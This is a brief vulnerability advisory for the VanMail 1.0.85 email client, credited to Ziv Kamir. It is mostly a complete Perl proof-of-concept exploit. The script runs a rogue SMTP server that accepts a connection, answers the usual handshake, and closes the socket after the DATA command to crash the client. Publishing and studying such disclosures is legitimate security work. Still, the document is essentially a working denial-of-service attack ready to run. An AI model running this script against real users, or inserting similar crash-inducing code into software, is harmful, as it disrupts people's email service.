|
|
| |
"VanMail is a powerful POP3/SMTP email client that puts you in control of what messages you want to receive."
VanMail can be caused to crash when the response to SMTP DATA command is answered by the user closing the socket. |
| |
Credit:
The information has been provided by Ziv Kamir.
|
| |
Vulnerable Systems:
* VanMail version 1.0.85
Exploit:
#!/usr/bin/perl
###############################
# Gss-IT Research And Security Labs #
###############################
# #
# www.GssIT.com #
# #
###############################
# VanMail Ver 1.0.85 Denial Of Service PoC #
###############################
# Use This PoC For Educational Purposes Only #
###############################
use IO::Socket;
use Net::hostent;
use strict;
my $port = "25";
my $server = IO::Socket::INET->new
(
LocalPort => $port,
Type => SOCK_STREAM,
Reuse => 1,
Listen => 5
) or die "Couldn't create Smtp-Server.\n";
while (my $client = $server->accept())
{
$client->autoflush(1);
my $hostinfo = gethostbyaddr($client->peeraddr);
printf "=>Connect from %s<=\n", $hostinfo->name ;
print $client "220 Smtp-Server\r\n" ; # Banner
while ( <$client> )
{
print $_;
next unless /\S/;
if (/quit|exit/i) { last; }
elsif (/HELO/i ) { print $client "250 Smtp-Server\n"; }
elsif (/MAIL FROM/i ) { print $client "250 Ok\n"; }
elsif (/RCPT TO/i ) { print $client "250 Ok\n"; }
elsif (/DATA/i ) { print $client "354 Start\n";
close $client; } # <==
}
close $client;
}
#EoF
|
|
|
